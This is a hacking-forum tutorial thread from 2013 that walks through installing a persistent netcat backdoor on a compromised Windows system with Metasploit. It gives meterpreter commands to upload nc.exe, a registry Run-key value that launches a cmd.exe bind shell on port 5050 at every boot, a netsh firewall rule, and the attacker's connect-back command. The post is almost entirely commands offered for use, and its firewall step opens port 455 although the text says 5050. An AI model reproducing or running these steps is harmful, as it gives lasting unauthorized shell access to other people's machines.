![]() |
Persistent Netcat Backdoor With Metasploit - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: Persistent Netcat Backdoor With Metasploit (/Thread-Persistent-Netcat-Backdoor-With-Metasploit) |
Persistent Netcat Backdoor With Metasploit - LEGITimacy™ - 01-21-2013 Hello Hack Community, Today we will be installing a netcat backdoor on a compromised system and making the backdoor persistent by interacting with the system registry and firewall. :yeye: First Lets Upload netcat onto the compromised system using our meterpreter. PHP Code: meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32 Next we want to make netcat listen on a random port (port 5050) and bypass the system firewall, and open up the port on startup. We will do this by using the "reg enumkey" command and editing the 'HKLM\software\microsoft\windows\currentversion\run' key. PHP Code: meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Next we use the "reg setval" & "reg queryval" commands to get netcat to run on startup and open port 5050 and listen for a connection. PHP Code: meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 5050 -e cmd.exe' Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor using an interactive command prompt and running the "netsh" command, and to see if operational mode is enabled on the firewall configuration. PHP Code: meterpreter > execute -f cmd -i As shown above operational mode is enabled on the firewall configuration :yeye:So next lets open up port 5050 and then use netcat to connect to it :3 PHP Code: C:\ > netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL CONNECTING TO THE BACKDOOR: PHP Code: root@bt:~# nc -v 192.168.56.60 5050 And there you have it. A Persistent Netcat Backdoor :3 Thanks for viewing my TUT! |